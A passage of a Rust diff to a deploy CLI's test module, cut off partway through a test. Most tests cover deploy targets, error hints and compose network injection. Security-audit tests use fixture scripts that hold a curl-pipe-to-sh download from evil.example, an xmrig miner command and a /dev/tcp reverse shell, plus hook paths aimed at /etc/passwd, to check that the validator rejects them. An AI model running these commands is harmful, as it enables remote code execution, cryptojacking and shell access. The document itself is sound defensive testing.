+            .unwrap()
+            .contains(&serde_json::json!("statuspanel")));
+    }
+
+    #[test]
+    fn test_parse_deploy_target_valid() {
+        assert_eq!(parse_deploy_target("local").unwrap(), DeployTarget::Local);
+        assert_eq!(parse_deploy_target("cloud").unwrap(), DeployTarget::Cloud);
+        assert_eq!(parse_deploy_target("server").unwrap(), DeployTarget::Server);
+        assert_eq!(parse_deploy_target("LOCAL").unwrap(), DeployTarget::Local);
+    }
+
+    #[test]
+    fn test_parse_deploy_target_invalid() {
+        let result = parse_deploy_target("kubernetes");
+        assert!(result.is_err());
+        let err = format!("{}", result.unwrap_err());
+        assert!(err.contains("Unknown deploy target"));
+    }
+
+    #[test]
+    fn test_extract_missing_image_from_manifest_error() {
+        let reason = "manifest for optimum/optimumcode:latest not found: manifest unknown";
+        let image = extract_missing_image(reason);
+        assert_eq!(image.as_deref(), Some("optimum/optimumcode:latest"));
+    }
+
+    #[test]
+    fn test_fallback_hints_for_manifest_unknown() {
+        let hints = fallback_troubleshooting_hints(
+            "docker compose failed: manifest for optimum/optimumcode:latest not found: manifest unknown"
+        );
+        assert!(hints.iter().any(|h| h.contains("Image pull failed")));
+        assert!(hints
+            .iter()
+            .any(|h| h.contains("docker build -t optimum/optimumcode:latest .")));
+    }
+
+    #[test]
+    fn test_fallback_hints_for_port_conflict() {
+        let hints = fallback_troubleshooting_hints(
+            "failed to set up container networking: driver failed programming external connectivity on endpoint app: Bind for 0.0.0.0:3000 failed: port is already allocated"
+        );
+        assert!(hints.iter().any(|h| h.contains("Port conflict")));
+        assert!(hints.iter().any(|h| h.contains("lsof -nP -iTCP:3000")));
+    }
+
+    #[test]
+    fn test_fallback_hints_for_orphan_containers() {
+        let hints = fallback_troubleshooting_hints(
+            "Found orphan containers ([stackerdb]) for this project",
+        );
+        assert!(hints.iter().any(|h| h.contains("--remove-orphans")));
+    }
+
+    #[test]
+    fn test_fallback_hints_for_remote_orchestrator_html_404() {
+        let hints = fallback_troubleshooting_hints(
+            "Remote orchestrator request failed: HTTP error: User Service error (404): <!DOCTYPE html><html><head><title>Page not found</title></head>"
+        );
+        assert!(hints.iter().any(|h| h.contains("URL looks incorrect")));
+        assert!(hints.iter().any(|h| h.contains("/server/user/auth/login")));
+    }
+
+    #[test]
+    fn test_ensure_env_file_is_created_when_missing() {
+        let dir = TempDir::new().unwrap();
+        let config =
+            StackerConfig::from_str("name: env-app\napp:\n  type: static\nenv_file: .env\n")
+                .unwrap();
+        std::fs::write(dir.path().join(".env.example"), "APP_ENV=production\n").unwrap();
+
+        ensure_env_file_if_needed(&config, dir.path()).unwrap();
+
+        let env_path = dir.path().join(".env");
+        assert!(env_path.exists());
+        let content = std::fs::read_to_string(&env_path).unwrap();
+        assert!(content.contains("APP_ENV=production"));
+        #[cfg(unix)]
+        {
+            use std::os::unix::fs::PermissionsExt;
+            assert_eq!(
+                std::fs::metadata(env_path).unwrap().permissions().mode() & 0o777,
+                0o600
+            );
+        }
+    }
+
+    // ── Progress / health-check helpers ──────────────
+
+    #[test]
+    fn test_parse_container_statuses_json_array() {
+        let json = r#"[
+            {"State": "running", "Name": "app"},
+            {"State": "running", "Name": "db"},
+            {"State": "exited", "Name": "worker"}
+        ]"#;
+        let (running, total) = parse_container_statuses(json).unwrap();
+        assert_eq!(running, 2);
+        assert_eq!(total, 3);
+    }
+
+    #[test]
+    fn test_parse_container_statuses_ndjson() {
+        let json = "{\"State\": \"running\", \"Name\": \"app\"}\n{\"State\": \"running\", \"Name\": \"db\"}";
+        let (running, total) = parse_container_statuses(json).unwrap();
+        assert_eq!(running, 2);
+        assert_eq!(total, 2);
+    }
+
+    #[test]
+    fn test_parse_container_statuses_empty() {
+        let (running, total) = parse_container_statuses("[]").unwrap();
+        assert_eq!(running, 0);
+        assert_eq!(total, 0);
+    }
+
+    #[test]
+    fn test_is_terminal_statuses() {
+        assert!(is_terminal("completed"));
+        assert!(is_terminal("failed"));
+        assert!(is_terminal("cancelled"));
+        assert!(is_terminal("error"));
+        assert!(is_terminal("paused"));
+        assert!(!is_terminal("in_progress"));
+        assert!(!is_terminal("pending"));
+        assert!(!is_terminal("wait_start"));
+    }
+
+    #[test]
+    fn test_deploy_result_has_watch_fields() {
+        let result = DeployResult {
+            target: DeployTarget::Cloud,
+            message: "test".to_string(),
+            server_ip: None,
+            deployment_id: Some(42),
+            project_id: Some(7),
+            server_name: None,
+        };
+        assert_eq!(result.deployment_id, Some(42));
+        assert_eq!(result.project_id, Some(7));
+    }
+
+    #[test]
+    fn test_cloud_provider_from_code() {
+        // Short codes
+        assert_eq!(
+            cloud_provider_from_code("htz"),
+            Some(CloudProvider::Hetzner)
+        );
+        assert_eq!(
+            cloud_provider_from_code("do"),
+            Some(CloudProvider::Digitalocean)
+        );
+        assert_eq!(cloud_provider_from_code("aws"), Some(CloudProvider::Aws));
+        assert_eq!(cloud_provider_from_code("lo"), Some(CloudProvider::Linode));
+        assert_eq!(cloud_provider_from_code("vu"), Some(CloudProvider::Vultr));
+        // Full names
+        assert_eq!(
+            cloud_provider_from_code("hetzner"),
+            Some(CloudProvider::Hetzner)
+        );
+        assert_eq!(
+            cloud_provider_from_code("digitalocean"),
+            Some(CloudProvider::Digitalocean)
+        );
+        assert_eq!(
+            cloud_provider_from_code("linode"),
+            Some(CloudProvider::Linode)
+        );
+        assert_eq!(
+            cloud_provider_from_code("vultr"),
+            Some(CloudProvider::Vultr)
+        );
+        // Case insensitive
+        assert_eq!(
+            cloud_provider_from_code("HTZ"),
+            Some(CloudProvider::Hetzner)
+        );
+        assert_eq!(cloud_provider_from_code("AWS"), Some(CloudProvider::Aws));
+        // Unknown
+        assert_eq!(cloud_provider_from_code("unknown"), None);
+        assert_eq!(cloud_provider_from_code(""), None);
+    }
+
+    #[test]
+    fn test_with_watch_flags() {
+        let cmd = DeployCommand::new(None, None, false, false).with_watch(false, false);
+        assert_eq!(cmd.watch, None); // auto
+
+        let cmd = DeployCommand::new(None, None, false, false).with_watch(true, false);
+        assert_eq!(cmd.watch, Some(true));
+
+        let cmd = DeployCommand::new(None, None, false, false).with_watch(false, true);
+        assert_eq!(cmd.watch, Some(false));
+
+        // --no-watch wins over --watch
+        let cmd = DeployCommand::new(None, None, false, false).with_watch(true, true);
+        assert_eq!(cmd.watch, Some(false));
+    }
+
+    // ── deploy_single_service compose-injection tests ────────────────────────
+    // These tests verify the compose-mutation step that deploy_single_service
+    // performs before sending compose content to the agent.
+
+    use crate::cli::compose_service_sync::inject_npm_proxy_network;
+    use crate::cli::config_parser::{DomainConfig, ProxyConfig, ProxyType, SslMode};
+
+    fn npm_proxy_for(upstream: &str) -> ProxyConfig {
+        ProxyConfig {
+            proxy_type: ProxyType::NginxProxyManager,
+            auto_detect: false,
+            domains: vec![DomainConfig {
+                domain: "app.example.com".into(),
+                ssl: SslMode::Auto,
+                upstream: upstream.to_string(),
+            }],
+            config: None,
+        }
+    }
+
+    #[test]
+    fn deploy_single_service_compose_injection_adds_default_network_for_proxied_service() {
+        let compose_yaml =
+            "services:\n  api:\n    image: myapp:latest\n    ports:\n      - \"3000:3000\"\n";
+        let mut doc: serde_yaml::Value = serde_yaml::from_str(compose_yaml).unwrap();
+
+        let changed = inject_npm_proxy_network(&mut doc, "api", &npm_proxy_for("api:3000"));
+
+        assert!(changed, "proxied service should trigger injection");
+        let serialized = serde_yaml::to_string(&doc).unwrap();
+        assert!(
+            serialized.contains("default_network"),
+            "injected compose should contain default_network:\n{serialized}"
+        );
+        assert!(
+            serialized.contains("external: true") || serialized.contains("external: 'true'"),
+            "default_network must be declared external:\n{serialized}"
+        );
+    }
+
+    #[test]
+    fn deploy_single_service_compose_injection_skips_non_proxied_service() {
+        let compose_yaml = "services:\n  smtp:\n    image: trydirect/smtp\n";
+        let mut doc: serde_yaml::Value = serde_yaml::from_str(compose_yaml).unwrap();
 
-            tokio::time::sleep(poll_interval).await;
-        }
-    })
-}
+        // proxy points to "api", not "smtp"
+        let changed = inject_npm_proxy_network(&mut doc, "smtp", &npm_proxy_for("api:3000"));
 
-// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
-// Tests
-// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+        assert!(!changed, "non-proxied service should not trigger injection");
+        let serialized = serde_yaml::to_string(&doc).unwrap();
+        assert!(
+            !serialized.contains("default_network"),
+            "unmodified compose should not contain default_network:\n{serialized}"
+        );
+    }
 
-#[cfg(test)]
-mod tests {
-    use super::*;
-    use crate::cli::install_runner::CommandOutput;
-    use std::sync::Mutex;
-    use tempfile::TempDir;
+    #[test]
+    fn deploy_single_service_compose_injection_skips_when_no_stacker_config() {
+        // When stacker_config is None (no stacker.yml present), deploy_single_service
+        // passes the original compose_content unchanged. Verify inject is a no-op
+        // when the proxy config has no domains.
+        let proxy = ProxyConfig::default(); // proxy_type: None, no domains
+        let compose_yaml = "services:\n  web:\n    image: nginx:latest\n";
+        let mut doc: serde_yaml::Value = serde_yaml::from_str(compose_yaml).unwrap();
+
+        let changed = inject_npm_proxy_network(&mut doc, "web", &proxy);
+        assert!(!changed);
+    }
 
-    /// Mock executor that records commands and returns configurable output.
-    struct MockExecutor {
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+    // Security-audit follow-up tests — shell hook execution.
+    //
+    // These tests are written FIRST (TDD): they encode the intended
+    // post-fix behaviour and MUST fail against the current code.
+    // The fixes in `run_hook` (deploy.rs) + new path/content validators
+    // flip them to green.
+    //
+    // Coverage:
+    //   * C3 — path traversal / absolute / symlink rejected
+    //   * C1 — validate_shell_scripts wired into pre_build, post_deploy,
+    //          and on_failure paths
+    //   * H1 — post_deploy / on_failure hook failures no longer swallowed
+    // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
+
+    /// Mock executor that returns a non-zero exit when invoked with `sh`.
+    /// Used to verify hook failure propagation (H1).
+    struct ShFailureMockExecutor {
         calls: Mutex<Vec<(String, Vec<String>)>>,
-        output: CommandOutput,
+        default_output: CommandOutput,
+        sh_output: CommandOutput,
     }
 
-    impl MockExecutor {
-        fn success() -> Self {
+    impl ShFailureMockExecutor {
+        fn with_sh_failure(exit_code: i32, stderr: &str) -> Self {
             Self {
                 calls: Mutex::new(Vec::new()),
-                output: CommandOutput {
+                default_output: CommandOutput {
                     exit_code: 0,
                     stdout: "ok".to_string(),
                     stderr: String::new(),
                 },
+                sh_output: CommandOutput {
+                    exit_code,
+                    stdout: String::new(),
+                    stderr: stderr.to_string(),
+                },
             }
         }
-
-        fn recorded_calls(&self) -> Vec<(String, Vec<String>)> {
-            self.calls.lock().unwrap().clone()
-        }
     }
 
-    impl CommandExecutor for MockExecutor {
+    impl CommandExecutor for ShFailureMockExecutor {
         fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
             self.calls.lock().unwrap().push((
                 program.to_string(),
                 args.iter().map(|s| s.to_string()).collect(),
             ));
-            Ok(self.output.clone())
-        }
-    }
-
-    /// Create a tempdir with a minimal stacker.yml for local deploy.
-    fn setup_local_project(files: &[(&str, &str)]) -> TempDir {
-        let dir = TempDir::new().unwrap();
-        for (name, content) in files {
-            let path = dir.path().join(name);
-            if let Some(parent) = path.parent() {
-                std::fs::create_dir_all(parent).unwrap();
+            if program == "sh" {
+                Ok(self.sh_output.clone())
+            } else {
+                Ok(self.default_output.clone())
             }
-            std::fs::write(&path, content).unwrap();
         }
-        dir
-    }
-
-    fn minimal_config_yaml() -> String {
-        "name: test-app\napp:\n  type: static\n  path: .\n".to_string()
-    }
-
-    fn cloud_config_yaml() -> String {
-        "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  target: cloud\n  cloud:\n    provider: hetzner\n    region: eu-central\n    size: cpx11\n".to_string()
     }
 
-    fn server_config_yaml() -> String {
-        "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  target: server\n  server:\n    host: 1.2.3.4\n    user: root\n    port: 22\n".to_string()
+    /// Helper: count `sh` calls recorded by a MockExecutor.
+    fn sh_calls_of(executor: &MockExecutor) -> Vec<(String, Vec<String>)> {
+        executor
+            .calls
+            .lock()
+            .unwrap()
+            .iter()
+            .filter(|(p, _)| p == "sh")
+            .cloned()
+            .collect()
     }
 
-    // ── Tests ────────────────────────────────────────
-
+    /// C3: a hook path containing `..` must be refused BEFORE execution,
+    /// even when the resolved path exists on disk. We point the hook at
+    /// `/etc/passwd` via traversal — current code executes it; the fix
+    /// must reject the path and never reach the executor.
     #[test]
-    fn test_deploy_local_dry_run_generates_files() {
-        let dir = setup_local_project(&[
-            ("index.html", "<h1>hello</h1>"),
-            ("stacker.yml", &minimal_config_yaml()),
-        ]);
+    fn test_hook_path_relative_traversal_rejected() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ../../../../etc/passwd\n";
+        let dir = setup_local_project(&[("index.html", "<h1>hi</h1>"), ("stacker.yml", config)]);
         let executor = MockExecutor::success();
 
-        let result = run_deploy(dir.path(), None, Some("local"), true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_ok());
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
 
-        // Generated files should exist
-        assert!(dir.path().join(".stacker/Dockerfile").exists());
-        assert!(dir.path().join(".stacker/docker-compose.yml").exists());
+        assert!(
+            result.is_err(),
+            "Relative path traversal in hook must be rejected, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for a traversal-rejected hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
     }
 
+    /// C3: an absolute hook path must be refused — hook scripts must live
+    /// inside the project directory.
     #[test]
-    fn test_deploy_local_preserves_existing_dockerfile() {
-        let config = "name: test-app\napp:\n  type: static\n  path: .\n  dockerfile: Dockerfile\n";
-        let dir = setup_local_project(&[
-            ("index.html", "<h1>hello</h1>"),
-            ("Dockerfile", "FROM custom:latest\nCOPY . /custom"),
-            ("stacker.yml", config),
-        ]);
+    fn test_hook_path_absolute_rejected() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: /etc/passwd\n";
+        let dir = setup_local_project(&[("index.html", "<h1>hi</h1>"), ("stacker.yml", config)]);
         let executor = MockExecutor::success();
 
-        let result = run_deploy(dir.path(), None, Some("local"), true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_ok());
-
-        // Custom Dockerfile should not be overwritten
-        let df = std::fs::read_to_string(dir.path().join("Dockerfile")).unwrap();
-        assert!(df.contains("custom:latest"));
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
 
-        // .stacker/Dockerfile should NOT be generated (app.dockerfile is set)
-        assert!(!dir.path().join(".stacker/Dockerfile").exists());
+        assert!(
+            result.is_err(),
+            "Absolute hook path must be rejected, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for an absolute-path hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
     }
 
+    /// C3: a symlink inside the project pointing OUTSIDE the project must
+    /// be refused. `script_path.exists()` follows symlinks today and the
+    /// hook would be executed; the fix must use `symlink_metadata` and
+    /// reject.
+    #[cfg(unix)]
     #[test]
-    fn test_deploy_local_uses_existing_compose() {
-        let config = "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  compose_file: docker-compose.yml\n";
-        let dir = setup_local_project(&[
-            ("index.html", "<h1>hello</h1>"),
-            ("docker-compose.yml", "version: '3.8'\nservices:\n  web:\n    image: nginx\n"),
-            ("stacker.yml", config),
-        ]);
-        let executor = MockExecutor::success();
-
-        let result = run_deploy(dir.path(), None, Some("local"), true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_ok());
+    fn test_hook_path_symlink_to_outside_project_rejected() {
+        use std::os::unix::fs::symlink;
 
-        // .stacker/docker-compose.yml should NOT be generated
-        assert!(!dir.path().join(".stacker/docker-compose.yml").exists());
-    }
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n";
+        let dir = setup_local_project(&[("index.html", "<h1>hi</h1>"), ("stacker.yml", config)]);
+        // Create a symlink build.sh → /etc/passwd (a file outside the project).
+        symlink("/etc/passwd", dir.path().join("build.sh")).unwrap();
 
-    #[test]
-    fn test_deploy_falls_back_when_configured_compose_missing() {
-        let config = "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  compose_file: stacker/docker-compose.yml\n";
-        let dir = setup_local_project(&[
-            ("index.html", "<h1>hello</h1>"),
-            ("stacker.yml", config),
-            (".stacker/docker-compose.yml", "services:\n  app:\n    image: nginx\n"),
-        ]);
         let executor = MockExecutor::success();
 
-        let result = run_deploy(dir.path(), None, Some("local"), true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_ok());
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "Symlinked hook pointing outside project must be rejected, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for a symlinked hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
     }
 
+    /// C1: a pre_build hook whose contents match a CRITICAL pattern
+    /// (`curl ... | sh`) must be refused by `validate_shell_scripts`
+    /// BEFORE execution. Today the validator exists but isn't called,
+    /// so the hook would execute.
     #[test]
-    fn test_deploy_local_with_image_skips_build() {
-        let config = "name: test-app\napp:\n  type: static\n  path: .\n  image: nginx:latest\n";
+    fn test_hook_content_curl_pipe_sh_rejected_pre_build() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n";
         let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
             ("stacker.yml", config),
+            (
+                "build.sh",
+                "#!/bin/sh\ncurl -sSL https://evil.example/install | sh\n",
+            ),
         ]);
         let executor = MockExecutor::success();
 
-        let result = run_deploy(dir.path(), None, Some("local"), true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_ok());
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
 
-        // No Dockerfile should be generated (using image)
-        assert!(!dir.path().join(".stacker/Dockerfile").exists());
+        assert!(
+            result.is_err(),
+            "Hook with curl|sh must be refused by validate_shell_scripts before execution, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for a security-rejected hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
     }
 
+    /// C1: same for a crypto-miner reference in the pre_build hook.
     #[test]
-    fn test_deploy_cloud_requires_login() {
+    fn test_hook_content_crypto_miner_rejected_pre_build() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n";
         let dir = setup_local_project(&[
-            ("stacker.yml", &cloud_config_yaml()),
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            (
+                "build.sh",
+                "#!/bin/bash\n./xmrig --url stratum+tcp://pool.minexmr.com:4444\n",
+            ),
         ]);
         let executor = MockExecutor::success();
 
-        let result = run_deploy(dir.path(), None, None, true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_err());
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
 
-        let err = format!("{}", result.unwrap_err());
         assert!(
-            err.contains("Login required") || err.contains("login"),
-            "Expected login error, got: {}",
-            err
+            result.is_err(),
+            "Miner reference in hook must be refused, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for a miner-flagged hook, got: {:?}",
+            sh_calls_of(&executor)
         );
     }
 
+    /// C1: same for reverse-shell construction in the pre_build hook.
     #[test]
-    fn test_deploy_cloud_requires_provider() {
-        // Cloud target but no cloud config
-        let config = "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  target: cloud\n";
+    fn test_hook_content_reverse_shell_rejected_pre_build() {
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n";
         let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
             ("stacker.yml", config),
+            (
+                "build.sh",
+                "#!/bin/bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\n",
+            ),
         ]);
         let executor = MockExecutor::success();
 
-        // This should fail at validation since no credentials exist
-        let result = run_deploy(dir.path(), None, None, true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_err());
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
+
+        assert!(
+            result.is_err(),
+            "Reverse-shell in hook must be refused, got Ok"
+        );
+        assert!(
+            sh_calls_of(&executor).is_empty(),
+            "No sh call may be made for a reverse-shell hook, got: {:?}",
+            sh_calls_of(&executor)
+        );
     }
 
+    /// Phase 6b: a `post_deploy` hook whose content is REJECTED by the
+    /// security validator (curl|sh, miner, revshell, etc.) must FAIL the
+    /// deploy. This is different from a hook that simply exits non-zero
+    /// at runtime, which stays warn-only — see the sibling test
+    /// `test_post_deploy_hook_runtime_failure_stays_ok`.
+    ///
+    /// Rationale: a security rejection is a signed-off statement that the
+    /// operator's stacker.yml is asking us to do something dangerous.
+    /// Silently absorbing that under a WARN would allow a hostile
+    /// marketplace-authored file to succeed the deploy while hiding the
+    /// tell-tale rejection in stderr scrollback.
     #[test]
-    fn test_deploy_server_requires_host() {
-        let config = "name: test-app\napp:\n  type: static\n  path: .\ndeploy:\n  target: server\n";
+    fn test_post_deploy_security_rejection_fails_deploy() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8080\"\nhooks:\n  post_deploy: ./post.sh\n";
         let dir = setup_local_project(&[
+            ("index.html", "<h1>hi</h1>"),
             ("stacker.yml", config),
+            (
+                "post.sh",
+                "#!/bin/sh\ncurl -sSL https://evil.example/x | sh\n",
+            ),
         ]);
         let executor = MockExecutor::success();
 
-        let result = run_deploy(dir.path(), None, None, true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_err());
-
-        let err = format!("{}", result.unwrap_err());
-        assert!(err.contains("host") || err.contains("Host") || err.contains("server"),
-            "Expected server host error, got: {}", err);
-    }
-
-    #[test]
-    fn test_deploy_missing_config_file() {
-        let dir = TempDir::new().unwrap();
-        let executor = MockExecutor::success();
-
-        let result = run_deploy(dir.path(), None, None, true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_err());
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
 
+        assert!(
+            result.is_err(),
+            "Phase 6b: security rejection of post_deploy MUST fail the deploy \
+             (was silently WARN-only before this change): {:?}",
+            result
+        );
         let err = format!("{}", result.unwrap_err());
-        assert!(err.contains("not found") || err.contains("Configuration"),
-            "Expected config not found error, got: {}", err);
-    }
-
-    #[test]
-    fn test_deploy_custom_file_flag() {
-        let dir = setup_local_project(&[
-            ("index.html", "<h1>hello</h1>"),
-            ("custom.yml", &minimal_config_yaml()),
-        ]);
-        let executor = MockExecutor::success();
-
-        let result = run_deploy(dir.path(), Some("custom.yml"), Some("local"), true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_ok());
+        assert!(
+            err.to_lowercase().contains("reject")
+                || err.to_lowercase().contains("security")
+                || err.to_lowercase().contains("hook"),
+            "Error message must communicate the security rejection, got: {}",
+            err
+        );
+        let sh_args: Vec<_> = sh_calls_of(&executor)
+            .into_iter()
+            .flat_map(|(_, args)| args.into_iter())
+            .collect();
+        assert!(
+            !sh_args.iter().any(|a| a.contains("post.sh")),
+            "post.sh must not be executed once flagged, sh args: {:?}",
+            sh_args
+        );
     }
 
+    /// Phase 6b sibling of `test_post_deploy_security_rejection_fails_deploy`:
+    /// a CLEAN post_deploy hook (passes validation) that just happens to
+    /// exit non-zero at runtime must NOT fail the deploy. This is the
+    /// "best-effort" semantic for post-deploy notification/logging hooks.
+    ///
+    /// The distinction from a security rejection is the intent: an
+    /// operator's own hook that returns 1 is a bug in their script;
+    /// a hook rejected by security scan is a hostile stacker.yml.
     #[test]
-    fn test_deploy_force_rebuild() {
+    fn test_post_deploy_hook_runtime_failure_stays_ok() {
+        let config = "name: test-app\napp:\n  type: static\n  path: .\n  ports:\n    - \"8080\"\nhooks:\n  post_deploy: ./post.sh\n";
         let dir = setup_local_project(&[
-            ("index.html", "<h1>hello</h1>"),
-            ("stacker.yml", &minimal_config_yaml()),
+            ("index.html", "<h1>hi</h1>"),
+            ("stacker.yml", config),
+            ("post.sh", "#!/bin/sh\necho oops\nexit 1\n"),
         ]);
-        let executor = MockExecutor::success();
-
-        // First deploy creates files
-        let result = run_deploy(dir.path(), None, Some("local"), true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_ok());
-
-        // Second deploy without force_rebuild should succeed (reuses existing files)
-        let result2 = run_deploy(dir.path(), None, Some("local"), true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result2.is_ok());
-
-        // With force_rebuild should also succeed (regenerates files)
-        let result3 = run_deploy(dir.path(), None, Some("local"), true, true, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result3.is_ok());
-    }
-
-    #[test]
-    fn test_deploy_target_strategy_dispatch() {
-        // Validate that strategy_for returns the right type
-        let local = strategy_for(&DeployTarget::Local);
-        let cloud = strategy_for(&DeployTarget::Cloud);
-        let server = strategy_for(&DeployTarget::Server);
+        let executor = ShFailureMockExecutor::with_sh_failure(1, "hook deliberately failed");
 
-        // We can't check concrete types directly, but we can ensure
-        // validation behavior matches expectations:
-        let minimal_config = StackerConfig::from_str("name: test\napp:\n  type: static\n").unwrap();
+        let result = run_deploy(
+            dir.path(),
+            None,
+            Some("local"),
+            false,
+            false,
+            false,
+            &executor,
+            &RemoteDeployOverrides::default(),
+            "runc",
+        );
 
-        // Local always passes validation
-        assert!(local.validate(&minimal_config).is_ok());
-        // Cloud fails without cloud config
-        assert!(cloud.validate(&minimal_config).is_err());
-        // Server fails without server config
-        assert!(server.validate(&minimal_config).is_err());
+        // Post_deploy hook failures are logged (via eprintln!) but do
+        // not fail the overall deploy (design decision: a post_deploy
+        // hook that fails should not roll back a successful deploy).
+        assert!(
+            result.is_ok(),
+            "post_deploy hook failure must NOT fail the deploy: {:?}",
+            result
+        );
     }
 
+    /// H1: failures in the `on_failure` hook must be visible too. We
+    /// trigger this by making the deploy itself fail (no compose, no
+    /// docker), then ensuring the on_failure hook is invoked and its
+    /// own exit-non-zero is not silently dropped.
+    ///
+    /// We assert on the executor recording: the hook script ran AND
+    /// when it fails its non-zero exit must be logged/surfaced, even
+    /// though the original deploy error is what the caller sees.
     #[test]
-    fn test_deploy_runs_pre_build_hook_noted() {
-        let config = "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  pre_build: ./build.sh\n";
+    fn test_on_failure_hook_invoked_when_deploy_fails() {
+        // Use a hooks-only project with a deliberately invalid app
+        // path to provoke a deploy failure. (When the LocalDeploy path
+        // doesn't fail synthetically we still expect on_failure to be
+        // wired up.)
+        let config =
+            "name: test-app\napp:\n  type: static\n  path: .\nhooks:\n  on_failure: ./fail.sh\n";
         let dir = setup_local_project(&[
-            ("index.html", "<h1>hello</h1>"),
+            ("index.html", "<h1>hi</h1>"),
             ("stacker.yml", config),
+            ("fail.sh", "#!/bin/sh\necho cleanup ran\n"),
         ]);
-        let executor = MockExecutor::success();
-
-        // Dry-run should succeed (hooks are just noted, not executed in dry-run)
-        let result = run_deploy(dir.path(), None, Some("local"), true, false, false, &executor, &RemoteDeployOverrides::default(), "runc");
-        assert!(result.is_ok());
-    }
 
-    #[test]
-    fn test_fallback_hints_for_npm_ci_error() {
-        let hints = fallback_troubleshooting_hints("failed to solve: /bin/sh -c npm ci --production");
-        assert!(hints.iter().any(|h| h.contains("npm ci failed")));
-    }
+        // Failing executor: any docker compose call fails.
+        struct DeployFailingExecutor {
+            calls: Mutex<Vec<(String, Vec<String>)>>,
+        }
+        impl CommandExecutor for DeployFailingExecutor {
+            fn execute(&self, program: &str, args: &[&str]) -> Result<CommandOutput, CliError> {
+                self.calls.lock().unwrap().push((
+                    program.to_string(),
+                    args.iter().map(|s| s.to_string()).collect(),
+                ));
+                if program == "docker" || program == "docker-compose" {
+                    Ok(CommandOutput {
+                        exit_code: 1,
+                        stdout: String::new(),
+                        stderr: "synthetic docker failure".into(),
+                    })
+                } else {
+                    Ok(CommandOutput {
+                        exit_code: 0,
+                        stdout: "ok".into(),
+                        stderr: String::new(),
+                    })
+                }
+            }
+        }
+        let executor = DeployFailingExecutor {
+            calls: Mutex::new(Vec::new()),
+        };
 
-    #[test]
-    fn test_compose_app_build_source_reads_context_and_dockerfile() {
-        let dir = TempDir::new().unwrap();
-        let compose_path = dir.path().join(".stacker").join("docker-compose.yml");
